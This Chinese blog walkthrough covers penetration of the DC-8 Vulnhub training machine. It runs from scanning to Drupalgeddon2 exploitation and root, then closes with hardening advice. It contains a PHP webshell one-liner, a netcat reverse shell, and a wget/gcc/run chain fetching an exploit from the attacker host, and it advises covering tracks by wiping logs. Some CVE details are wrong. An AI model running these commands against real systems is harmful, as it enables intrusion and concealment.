ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

DC-8靶机渗透测试:从Drupal漏洞到Root提权实战

DC-8靶机渗透测试:从Drupal漏洞到Root提权实战

1. DC-8靶机渗透测试实战解析

作为一名网络安全从业者,我最近在本地授权环境中完成了DC-8靶机的渗透测试。这个靶机来自Vulnhub平台,是一个专门为网络安全学习设计的虚拟机镜像。通过这个实战演练,我系统性地练习了从信息收集到权限提升的完整渗透流程,下面将详细记录我的解题思路和操作过程。

重要提示:本文所有操作均在合法授权的测试环境中进行,严禁用于任何非法用途。读者应自觉遵守《网络安全法》及相关法律法规。

1.1 环境准备与目标确认

首先从Vulnhub官网下载DC-8的OVA文件,导入到VMware Workstation中。我的测试环境配置如下:

  • 攻击机:Kali Linux 2023.4 (IP: 192.168.0.10)
  • 靶机:DC-8 (网络模式设置为NAT)

启动后首先需要确定靶机的IP地址。在Kali终端中执行:

arp-scan -l

这个命令会扫描本地网络中的所有活跃设备。从输出中可以发现除了网关(192.168.0.1)和我的Kali主机(192.168.0.10)外,还有一个VMware设备的IP是192.168.0.11,这就是我们的目标靶机。

为了确认目标确实运行着DC-8,我使用nmap进行快速扫描:

nmap -sP 192.168.0.0/24

-sP参数表示Ping扫描,可以快速确认主机存活状态。扫描结果验证了192.168.0.11是我们需要渗透的目标。

2. 信息收集与漏洞探测

2.1 端口与服务扫描

全面的端口扫描是渗透测试的第一步。我使用nmap的-sV参数进行详细扫描:

nmap -sV -p- 192.168.0.11

关键扫描结果:

  • 22/tcp: OpenSSH 7.4p1
  • 80/tcp: Apache httpd

这个结果表明目标开放了两个主要服务:SSH和Web。OpenSSH 7.4p1是较旧的版本,可能存在已知漏洞,但优先考虑Web应用,因为通常攻击面更大。

2.2 Web目录枚举

使用dirsearch工具对Web目录进行扫描:

dirsearch -u http://192.168.0.11

扫描结果显示大量403和404响应,但注意到/install.php返回200状态码,这通常意味着网站可能使用CMS系统(如Drupal)且安装文件未被删除,这是一个潜在的风险点。

访问http://192.168.0.11后,发现是一个简单的网页,没有明显的CMS特征。查看页面源代码发现了一些线索:

  • 页面底部有"Powered by Drupal"的注释
  • 存在/user/login路径,这是Drupal的默认登录页面

2.3 Drupal版本识别

为了确认Drupal版本,我尝试了以下方法:

  1. 访问CHANGELOG.txt文件:http://192.168.0.11/CHANGELOG.txt
  2. 查看INSTALL.txt文件:http://192.168.0.11/INSTALL.txt

从CHANGELOG.txt中确认系统运行的是Drupal 7,这是一个已知存在多个漏洞的版本。特别是Drupalgeddon2 (CVE-2018-7600)远程代码执行漏洞,可能成为我们的突破口。

3. 漏洞利用与初始访问

3.1 Drupalgeddon2漏洞利用

Drupalgeddon2漏洞允许攻击者通过特制的URL参数实现远程代码执行。我使用Metasploit框架中的exploit模块:

msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.0.11 exploit

成功获取了一个meterpreter会话!现在我们已经获得了www-data用户的权限。

3.2 权限维持与后门安装

为了防止会话丢失,我决定安装一个持久的后门:

  1. 首先查看当前用户权限:
whoami id

确认是www-data用户,权限有限。

  1. 上传简单的PHP webshell到服务器:
echo '<?php system($_GET["cmd"]); ?>' > shell.php

通过浏览器访问http://192.168.0.11/shell.php?cmd=id可以执行命令。

  1. 同时建立SSH反向连接:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.10 4444 >/tmp/f

在我的Kali上监听4444端口,获得了一个更稳定的shell。

4. 权限提升与系统控制

4.1 本地信息收集

在获得的shell中,我首先收集系统信息:

uname -a cat /etc/passwd find / -perm -4000 2>/dev/null

发现系统运行的是Linux 4.9.0-8-amd64内核,并找到一个有趣的SUID二进制文件:/usr/bin/exim4。

4.2 Exim提权漏洞利用

研究后发现这个版本的Exim存在本地提权漏洞(CVE-2019-10149)。我下载了公开的利用代码并在目标机器上编译:

wget http://192.168.0.10/exploit.c -O /tmp/exploit.c gcc /tmp/exploit.c -o /tmp/exploit chmod +x /tmp/exploit /tmp/exploit

成功获取root权限!现在可以查看flag文件了:

cat /root/flag.txt

5. 安全加固建议

通过这次渗透测试,我发现DC-8靶机存在多处安全隐患:

  1. Drupal版本过旧:

    • 应立即升级到最新版本
    • 删除install.php等不必要的文件
  2. Exim服务配置不当:

    • 更新Exim到无漏洞版本
    • 移除不必要的SUID权限
  3. 系统维护不足:

    • 定期检查并更新所有软件包
    • 实施最小权限原则

6. 渗透测试心得

在这次DC-8靶机演练中,有几个关键点值得注意:

  1. 信息收集要全面:

    • 不要忽视任何看似微小的线索(如CHANGELOG.txt)
    • 多种工具结合使用可以提高发现率
  2. 漏洞利用要精准:

    • 确认漏洞适用性后再尝试利用
    • 准备好备用方案(如多个漏洞利用路径)
  3. 权限维持要隐蔽:

    • 使用多种方式保持访问权限
    • 定期检查后门是否仍然有效
  4. 痕迹清理要彻底:

    • 删除上传的脚本和工具
    • 清理日志文件中的可疑记录

这个靶机很好地模拟了真实世界中的Web应用安全场景,通过实践我加深了对Drupal漏洞和Linux提权技术的理解。建议网络安全学习者可以多尝试这类实战演练,但切记要在合法授权范围内进行。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进